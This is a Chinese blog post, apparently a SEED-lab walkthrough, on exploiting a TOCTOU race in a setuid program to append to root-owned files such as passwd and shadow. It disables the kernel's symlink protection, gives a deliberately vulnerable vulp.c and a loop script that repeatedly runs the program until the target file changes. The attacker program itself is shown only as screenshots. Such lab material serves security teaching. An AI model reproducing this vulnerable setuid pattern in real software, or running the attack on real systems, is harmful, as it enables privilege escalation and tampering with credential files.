普通用户也可编辑passwd和shadow

前言:我把梦写一写
0x00_实验准备
虚拟机:Ubuntu 4.15.0
先取消竞态条件攻击的保护,及创建工作目录seed

echo 0 > /proc/sys/fs/protected_symlinks
mkdir seed

在这里插入图片描述
在 /home/hack/seed 下新建 vulp.c 文件:
在这里插入图片描述

/* vulp.c */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define DELAY 10000

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    long int i;
    /* get user input */
    scanf("%50s", buffer );
    if(!access(fn, W_OK)){
        for(i=0; i < DELAY; i++){
            int a = i^2;
        }
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}

安装gcc

 sudo apt install build-essential

创造漏洞文件及设置权限,将其设为SET-UID文件

sudo gcc vulp.c -o vulp
sudo chmod u+s vulp

在这里插入图片描述
创建目标文件,用root用户创建root_file

sudo touch root_file 
sudo chmod g+w root_file
vim append_text

在这里插入图片描述
这样所有攻击环境就准备好嘞
在这里插入图片描述
创建检查时间戳的脚本check.sh,并将运行vulp的命令加入其中

#!/bin/sh
#注意`不是单引号
old=`ls -l /home/shiyanlou/seed/root_file`
new=`ls -l /home/shiyanlou/seed/root_file`
while [ "$old" = "$new" ]
do
    ./vulp < append_text
    new=`ls -l /home/shiyanlou/seed/root_file`
done
echo "STOP... The file has been changed"
vim check.sh
chmod u+x check.sh

在这里插入图片描述

vim attacker.c
gcc attacker.c -o attacker

在这里插入图片描述
总目录
在这里插入图片描述
先运行

./attacker

在这里插入图片描述

./check.sh

在这里插入图片描述
可以访问也可以编辑
在这里插入图片描述
搞定
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值